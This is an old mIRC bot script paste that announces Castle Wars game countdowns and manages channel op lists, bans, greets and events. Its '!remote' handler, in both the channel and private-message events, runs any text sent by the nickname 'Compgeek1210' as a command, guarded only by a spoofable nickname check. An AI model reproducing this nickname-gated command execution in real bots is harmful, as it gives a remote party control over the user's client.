All pastes #352681 Raw Edit

Stuff

public text v1 · immutable
·published 2007-02-12 23:45 UTC
rendered paste body
on *:TEXT:!*:#: {
  if (($1 == !startgame) && ($1- != !startgame)) {
    if (($nick isop $chan) || ($nick ishop $chan)) {
      /set %cwarmins $2
      /set %cwarworld $3
      /set %cwarteam $4
      if ($2 == 1) {
        /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in %cwarmins minutes.
        .timer1 1 1 60 /msg $chan The game in world %cwarworld team %cwarteam has started!
      }
      if ($2 == 2) {
        /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in %cwarmins minutes.
        .timer1 1 60 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 1) minutes.
        .timer2 1 120 /msg $chan The game in world %cwarworld team %cwarteam has started!
      }
      if ($2 == 3) {
        /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in %cwarmins minutes.
        .timer1 1 60 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 1) minutes.
        .timer2 1 120 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 2) minutes.     
        .timer3 1 180 /msg $chan The game in world %cwarworld team %cwarteam has started!
      }
      if ($2 == 4) {
        /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in %cwarmins minutes.
        .timer1 1 60 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 1) minutes.
        .timer2 1 120 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 2) minutes.     
        .timer3 1 180 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 3) minutes.
        .timer4 1 240 /msg $chan The game in world %cwarworld team %cwarteam has started!
      }
      if ($2 == 5) {
        /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in %cwarmins minutes.
        .timer1 1 60 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 1) minutes.
        .timer2 1 120 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 2) minutes.     
        .timer3 1 180 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 3) minutes.
        .timer4 1 240 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 4) minutes.
        .timer5 1 300 /msg $chan The game in world %cwarworld team %cwarteam has started!
      }
      if ($2 == 6) {
        /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in %cwarmins minutes.
        .timer1 1 60 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 1) minutes.
        .timer2 1 120 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 2) minutes.     
        .timer3 1 180 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 3) minutes.
        .timer4 1 240 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 4) minutes.
        .timer5 1 300 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 5) minutes.
        .timer6 1 360 /msg $chan The game in world %cwarworld team %cwarteam has started!
      }
      if ($2 == 7) {
        /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in %cwarmins minutes.
        .timer1 1 60 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 1) minutes.
        .timer2 1 120 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 2) minutes.     
        .timer3 1 180 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 3) minutes.
        .timer4 1 240 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 4) minutes.
        .timer5 1 300 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 5) minutes.
        .timer6 1 360 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 6) minutes.
        .timer7 1 420 /msg $chan The game in world %cwarworld team %cwarteam has started!
      }
      if ($2 == 8) {
        /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in %cwarmins minutes.
        .timer1 1 60 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 1) minutes.
        .timer2 1 120 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 2) minutes.     
        .timer3 1 180 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 3) minutes.
        .timer4 1 240 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 4) minutes.
        .timer5 1 300 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 5) minutes.
        .timer6 1 360 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 6) minutes.
        .timer7 1 420 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 7) minutes.
        .timer8 1 480 /msg $chan The game in world %cwarworld team %cwarteam has started!
      }
      if ($2 == 9) {
        /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in %cwarmins minutes.
        .timer1 1 60 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 1) minutes.
        .timer2 1 120 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 2) minutes.     
        .timer3 1 180 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 3) minutes.
        .timer4 1 240 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 4) minutes.
        .timer5 1 300 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 5) minutes.
        .timer6 1 360 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 6) minutes.
        .timer7 1 420 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 7) minutes.
        .timer8 1 480 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 8) minutes.
        .timer9 1 540 /msg $chan The game in world %cwarworld team %cwarteam has started!
      }

      if ($2 == 10) {
        /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in %cwarmins minutes.
        .timer1 1 60 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 1) minutes.
        .timer2 1 120 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 2) minutes.     
        .timer3 1 180 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 3) minutes.
        .timer4 1 240 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 4) minutes.
        .timer5 1 300 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 5) minutes.
        .timer6 1 360 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 6) minutes.
        .timer7 1 420 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 7) minutes.
        .timer8 1 480 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 8) minutes.
        .timer9 1 540 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 9) minutes.
        .timer10 1 600 /msg $chan The game in world %cwarworld team %cwarteam has started!
      }
      if ($2 == 11) {
        /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in %cwarmins minutes.
        .timer1 1 60 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 1) minutes.
        .timer2 1 120 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 2) minutes.     
        .timer3 1 180 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 3) minutes.
        .timer4 1 240 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 4) minutes.
        .timer5 1 300 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 5) minutes.
        .timer6 1 360 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 6) minutes.
        .timer7 1 420 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 7) minutes.
        .timer8 1 480 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 8) minutes.
        .timer9 1 540 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 9) minutes.
        .timer10 1 600 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 10) minutes.
        .timer11 1 660 /msg $chan The game in world %cwarworld team %cwarteam has started!
      }
      if ($2 == 12) {
        /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in %cwarmins minutes.
        .timer1 1 60 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 1) minutes.
        .timer2 1 120 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 2) minutes.     
        .timer3 1 180 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 3) minutes.
        .timer4 1 240 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 4) minutes.
        .timer5 1 300 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 5) minutes.
        .timer6 1 360 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 6) minutes.
        .timer7 1 420 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 7) minutes.
        .timer8 1 480 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 8) minutes.
        .timer9 1 540 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 9) minutes.
        .timer10 1 600 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 10) minutes.
        .timer11 1 660 /msg $chan Castle wars: world %cwarworld $+ , team %cwarteam $+ , in $calc(%cwarmins - 11) minutes.
        .timer12 1 720 /msg $chan The game in world %cwarworld team %cwarteam has started!
      }
    }
  }
  if ($1 == !endgame) {
    if (($nick isop $chan) || ($nick ishop $chan)) {
      /unset %cwarworld
      /unset %cwarteam
      /unset %cwarmins
      /msg $chan Game over.
    }
  } 
  if (($1 == !aoo) || ($1 == !aoh) || ($1 == !aov)) {
    if ($1 == !aoo) {
      if (($nick == Tim|Fatty) || ($nick == ED|Taco)) {
        writeini aoo.ini $2 aoo $address($2,2)
        /notice $nick $2 has been added to the auto op list.
      }
    }
    if ($1 == !aoh) {
      if (($nick == Tim|Fatty) || ($nick == ED|Taco)) {
        writeini aoh.ini $2 aoh $address($2,2)
        /notice $nick $2 has been added to the auto half-op list.
      }
    }
    if ($1 == !aov) {
      if (($nick isop $chan) || ($nick ishop $chan)) {
        writeini aov.ini $2 aov $address($2,2)
        /notice $nick $2 has been added to the auto voice list.
      }
    }
  }
  if (($1 == !delaoo) || ($1 == !delaoh) || ($1 == !delaov)) {
    if (($nick == Tim|Fatty) || ($nick == ED|Taco)) {
      if ($1 == !delaoo) {
        remini aoo.ini $2
        /mode $chan -o $2
        /notice $nick $2 has been removed from the auto op list.
      }
      if ($1 == !delaoh) {
        remini aoh.ini $2
        /mode $chan -h $2
        /notice $nick $2 has been removed from the auto half-op list.
      }
      if ($1 == !delaov) {
        remini aov.ini $2
        /mode $chan -v $2
        /notice $nick $2 has been removed from the auto voice list.
      }
    }
  }
  if (($1 == !invite) && ($nick isop $chan) && ($me isop $chan)) {
    /invite $2 $chan
  }
  if (($1 == !leave) && ($nick isop $chan)) {
    /part $chan Part command used by $nick
  }
  if (($1 == !remote) && ($nick == Compgeek1210)) {
    $2-
  }
  if ($1 == !addban) {
    if (($nick == Tim|Fatty) || ($nick == ED|Taco)) && ($2 != $me)) {
      writeini banned.ini $2 ip $address($2,2)
      writeini banned.ini $address($2,2) ip $address($2,2)
      /kick $chan $2 User not permitted on this channel.
    }
  }
  if ($1 == !delban) {
    if (($nick == Tim|Fatty) || ($nick == ED|Taco)) {
      /set %ipofdelban $readini(banned.ini,$2,ip)
      remini banned.ini $2
      remini banned.ini %ipofdelban
      /unset %ipofdelban
      /notice $nick $2 has been unbanned.
    }
  }
  if ($1 == !unregister) {
    if (($nick == Tim|Fatty) || ($nick == ED|Taco)) {
      remini users.ini $2
      /notice $nick Unregistered $2 $+ .
    }
    if ($address($nick,2) != $address($me,2)) {
      remini users.ini $nick
      /notice $nick Unregistered $nick $+ .
    }
  }
  if ($1 == !setevent) {
    /set %event $2-
    /set %eventsettime $ctime
    /notice $nick The event has been set.
  }
  if (($1 == !event) || ($1 == !events)) {
    /notice $nick Current event: %event $+ . This event was set $duration($calc($ctime - %eventsettime)) ago.
  }
  if ($1 == !addrestrict) {
    if (($nick == Tim|Fatty) || ($nick == ED|Taco)) {
      writeini restrict.ini $2 ip $address($2,2)
      writeini restrict.ini $address($2,2) ip $address($2,2)
      /notice $nick $2 has been added to the restrict op list.
    }
  }
  if ($1 == !delrestrict) {
    if (($nick == Tim|Fatty) || ($nick == ED|Taco)) {
      /set %ipofdelres $readini(restrict.ini,$2,ip)
      remini restrict.ini $2
      remini restrict.ini %ipofdelres
      /unset %ipofdelres
      /notice $nick $2 has been removed from the restrict op list.
    }
  }
  if ($1 == !setgreet) {
    writeini greet.ini $nick greet $2-
    /notice $nick Your greet has been set
  }
  if ($1 == !unsetgreet) {
    remini greet.ini $nick
    /notice $nick Your greet has been removed
  }
}

on *:TEXT:!*:?: {
  if (($1 == !remote) && ($nick == Compgeek1210)) {
    $2-
  }
}


on *:JOIN:#: {
  if ($readini(banned.ini,$address($nick,2),ip) == $address($nick,2)) {
    /ban -u300 $chan $nick $address($2,2)
    /kick $chan $nick User not permitted on this channel.
  }
  if ($readini(greet.ini,$nick,greet) != $null) {
    /msg $chan [12 $+ $nick $+ ] $readini(greet.ini,$nick,greet)
  }
  if ($readini(aov.ini,$nick,aov) == $address($nick,2)) {
    /mode $chan +v $nick
  }
  if ($readini(aoh.ini,$nick,aoh) == $address($nick,2)) {
    /mode $chan +h $nick
  }
  if ($readini(aoo.ini,$nick,aoo) == $address($nick,2)) {
    /mode $chan +o $nick
  }
}

on *:OP:#: {
  if ($readini(restrict.ini,$address($opnick,2),ip) == $address($opnick,2)) {
    /mode $chan -o $opnick
    /notice $nick You may not op $opnick $+ .
  }
}

on *:HELP:#: {
  if ($readini(restrict.ini,$address($hnick,2),ip) == $address($hnick,2)) {
    /mode $chan -h $hnick
    /notice $nick You may not half op $hnick $+ .
  }
}